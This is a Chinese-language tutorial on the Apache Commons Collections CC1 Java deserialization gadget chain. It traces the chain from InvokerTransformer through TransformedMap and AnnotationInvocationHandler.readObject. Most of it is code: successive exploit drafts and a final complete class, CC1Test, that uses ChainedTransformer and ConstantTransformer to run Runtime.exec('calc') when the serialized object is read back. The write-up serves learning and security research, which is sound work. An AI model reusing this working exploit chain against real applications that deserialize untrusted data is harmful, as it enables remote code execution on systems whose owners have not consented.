分析过程
- 原作者发现了一个 Transformer 接口,就是要实现一个transform方法

- 查看transform方法的实现类,这里有21个类,可以进去几个看看,但是一个个看还是太麻烦了,这里我一看就知道利用点在 InvokerTransformer 类里面,所以就进去看看

可以看到这里所有参数都可以自定义,相当于通过反射实现一个任意命令执行。


- 所以我们试一下用InvokerTransformer实现rce
Runtime r = Runtime.getRuntime();
Class c = r.getClass();
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}).transform(r);所以我们找到了可以用 InvokerTransformer 中的 transform 方法实现rce
所以要看一下还有什么类可以实现transform方法
- 于是查找
transform方法的实现类 ,找到了21个结果,要参数可控的,最后找到了Map类中的
TransformedMap
5. 发现TransformedMap类中的checkSetValue方法中调用了transform方法并且参数可控

而且这是个protected方法,说明他只能在当前包中被调用,查看构造方法,valueTransformer参数可以控制

- 因为
TransformedMap也是一个protect的构造方法,所以我们要查看一下,这样才能调用构造方法创建对象,比较简单的是decorate静态方法,所以我们可以通过decorate方法创建TransformedMap实例对象,这里对方法名进行理解,相当于对一个Map进行操作

- 我们尝试TransformedMap实现rce(未实现)
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object,Object> map = new HashMap();
TransformedMap.decorate(map,null,invokerTransformer);这时候我们通过decorate方法创建了TransformedMap对象,并且给valueTransformer赋值了InvokerTransformer的实例化对象,我们需要InvokerTransformer.transform方法来实现rce
所以现在我们只需要有实现checkSetValue方法即可实现
- 所以查看
checkSetValue的实现,只有一个结果,AbstractInputCheckedMapDecorator类,它是TransformedMap的父类,是一个抽象类,它里面的MapEntry类中的setValue方法调用了checkSetValue方法

- 从
MapEntry名字猜测,Entry是键值对,一般循环遍历Map时会调用这种方法,尝试构造新的链子
这是通过循环遍历实现setValue方法,从而调用了里面的checkSetValue方法从而实现了上面的链子
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object,Object> map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}- 所以我们继续找哪里实现了
setValue方法,因为我们最终的目标是readObject方法,所以查找setValue的实现,有38个结果,刚好cc1里下一个就是AnnotationInvocationHandler里面的readObject,我就不一个个找了。这里有一个循环遍历,里面会触发setValue方法

- 所以只需要实例化这个类,因为这个不是public class,所以要通过反射获取,将对应参数传入就实现了反序列化触发rce
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object,Object> map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor d = c.getDeclaredConstructor(Class.class, Map.class);
d.setAccessible(true);
Object o = d.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("person.txt");
}按照前面的分析,这样写好应该就可以触发rce,弹出计算器,但是运行后并没有弹,这里有两个问题
发现问题
问题一:Runtime类无法序列化
进入Runtime类发现没有实现serializeable接口,不能序列化

问题一解决:
既然Runtime类不能实例化,那就反射获取Runtime类的class对象,通过反射调用其中的方法。
- 通过反射获得
Runtime类实现rce
Class c = Runtime.class;
Method getruntimeMethod = c.getMethod("getRuntime", null );
Runtime r = (Runtime) getruntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");- 改为
InvokerTransformer实现
Method getruntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}).transform(getruntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}).transform(r);- 这里看起来好像有点麻烦,之前查看
transformer接口实现类时发现一个类似递归调用的ChainedTransformer的类中的transformer方法

- 尝试用它进行改写
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);到这里就已经用反射解决了Runtime类无法序列化的问题
问题二:setValue参数无法控制
-
我们上面最终的exp触发
readObject后是触发了setValue方法,但是它的参数并不是我们希望的Runtime.getRuntime()也就是后来的Runtime.class所以并不能触发后续的链子。 -
这时我们想到transformer接口的实现类中有一个
ConstantTransformer类中的transformer方法是你传入什么参数就返回什么参数
-
于是使用
ConstantTransformer类的transformer方法传入Runtime.class参数
问题三:if判断
需要map中的key值和注解类中的方法名相同和不为空
最终exp
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor d = c.getDeclaredConstructor(Class.class, Map.class);
d.setAccessible(true);
Object o = d.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("person.txt");
}
//序列化方法
public static void serialize(Object obj) throws IOException, NoSuchFieldException, IllegalAccessException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("person.txt"));
oos.writeObject(obj);
System.out.println("序列化完成");
}
//反序列化方法
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
System.out.println("反序列化"+Filename +"完成");
return obj;
}
}链子分析
反序列化 → readObject → setValue →checkSetValue → ChainedTransformer.transformer →在chain里面获取getmathod,通过getmathod获取invoke,通过invock调用exec,
map.put传入的键值对,其中的key在绕过if判断时有一点作用
decorate方法时TransformedMap类中用来实例化对象的,相当于new,这里把chainedTransformer传入了
在下面通过反射创建AnnotationInvocationHandler的实例化对象